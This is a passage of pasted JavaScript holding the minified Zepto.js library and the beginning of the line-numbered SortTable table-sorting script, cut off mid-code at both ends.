a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)
  2808.  
  2809.  
  2810. /**
  2811. *
  2812. * SortTable
  2813. * version 2
  2814. * 7th April 2007
  2815. * Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
  2816. *
  2817. **/
  2818. var h=!0,j=!1;
  2819. sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
  2820. if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bsorttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&
  2821. (override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",
  2822. sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,
  2823. function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=
  2824. "&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
  2825. sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=
